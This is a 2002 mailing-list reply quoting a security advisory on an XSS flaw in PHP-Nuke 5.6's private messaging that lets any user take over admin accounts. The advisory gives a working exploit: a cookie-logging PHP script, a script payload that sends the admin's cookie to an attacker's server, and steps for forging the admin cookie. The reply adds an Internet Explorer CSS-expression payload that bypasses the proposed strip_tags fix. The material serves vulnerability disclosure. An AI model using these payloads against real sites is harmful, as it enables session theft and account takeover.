IMHO this whole email is just stating the obvious. On top of that the
proposed fix is flawed.

The PHP strip_tags function does not strip attributes so this is possible in
your proposed fix :

<a done=false STYLE="visibility : hidden; word-spacing : expression(
!(eval(this.done)) ? location.href='http://kuperus.xs4all.nl' : 0 );
word-wrap : expression(this.done=true);"> test</a>

its a bit messy but gets the job done. It works by using css expressions  (a
feature afaik native to Internet explorer) in the style tag.

--
 jelmer

----- Original Message -----
From: "<-delusion->" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>
Sent: Thursday, August 15, 2002 10:30 AM
Subject: PHP-Nuke v5.6 - Users can compromise admin accts.


> Tested on PHP-Nuke v5.6 with Mozilla on Linux
> (should work on past versions and on most browsers)
>
>  Impact:
>  ---------------------------------------------
>  Allows any user to get admin access to a PHP-Nuke site.
>
> Summary:
> ----------------------------------------------
> Due to a XSS flaw in PHPNuke's Private Messaging module, users can send
> messages
> with html code that will be executed without any filtering. In old PHPNuke
> versions
> XSS allowed theft of cookies which stored passwords in base64
> encoding. Well PHPNuke version 5.6 encrypts the passwds in md5 before it
> encodes it
> into base64 and puts it into a cookie. This made stolen cookies useless if
> the attacker just
> tried decoding the base64 encrypted pass, because he just got the MD5
> encrypted pass.
>
> Since PHP Nuke encrypts passes in md5 and then matches the encrypted pass
> with the
> encrypted one in the database, i was able to use the md5 encrypted pass i
> got from the
> stolen cookie to authenticate myself.
>
> PHPNuke sets cookies by base64 encoding a string that looks like this:
>
> username:md5_encrypted_pass:lang
>
> Since i can get the md5_encrypted pass all i have to do is launch a script
> that base64 encodes
> a string like the one above, and sets it as a cookie on my box.
>
> Exploit:
> -------------------------------------------------
> For this exploit to work, you must create the following files in your web
> server's directory.
>
> cookie.php containing this:
> <?
> $fp = fopen("cookie.txt","a");
> fputs($fp, $cookie);
> fclose($fp);
> print "Message Not Found!"; /* this is so the admin doesnt get scared. and
> thinks its some bug. */
> ?>
>
> test.php containing:
> <?
> $admin = base64_encode("decoded_string") ;
> setcookie("admin","$admin",time()+2592000);
> ?>
> You will find out what to replace decoded_string with..
>
> 1. Send an appealing private message to admin containing
>
<script>document.location.replace('http://yourserver/cookie.php?cookie='+doc
> ument.cookie);</script>
>
> 2. Wait awhile until the admin checks the message then check cookie.txt on
> yer server.
>
> 3. From cookie.txt.. copy the encrypted text after admin= and before the ;
>
> 4. go to http://www.isecurelabs.com/base64.php paste the copied text,
click
> decode it should give u a string like this:
> username:md5_encrypted_passwd:language (language may be blank).
>
> 5. paste the decoded string into test.php like so.
> <?
> $admin = base64_encode("paste decoded string here");
> setcookie("admin","$admin",time()+2592000);
> ?>
>
> 6. Login as any user on the site
>
> 7. send private message to self containing:
> <iframe src="http://yerserver/test.php";></iframe>
> Open the message and a cookie will now be set on yer box, but it will be
> configured with your server's URL.
> So all u gotta do is replace yer url wit the nuked site.
>
> 8. for mozilla edit cookies.txt in yer ~/.mozilla/someprofile/something/
> directory replace the url of yer server to the nuked site,
> for other browsers just find the Cookie from your server and edit it so
> instead of showng your url it shows the url
> of the nuked site.
>
> 9. restart yer browser (close and open up again). go back into the nuked
> site and you are now admin. :D
>
> Temp Solution:
> -------------------------------------------------
> Edit reply.php in /modules/Private_Messages/ and make $message be stripped
> of html tags.
>
> Go to line 75 in reply.php and add this line:
>
> $message = strip_tags($message, '<br><b><u><i>');
>
> That will remove any html tags that arent <br><b><u> or <i>. So it will
> prevent the XSS.
> -------------------------------------------------
> NOTE: I wasnt able to contact the php nuke person, i couldnt find an email
> on their site, and when i signed up for membership i never got the
password,
> so if u can, let them know asap so they can fix this.
>
> Another Vulnerability Brought to you  by,
> delusion
> http://digital-delusions.dyn.ee
>
>
>


Reply via email to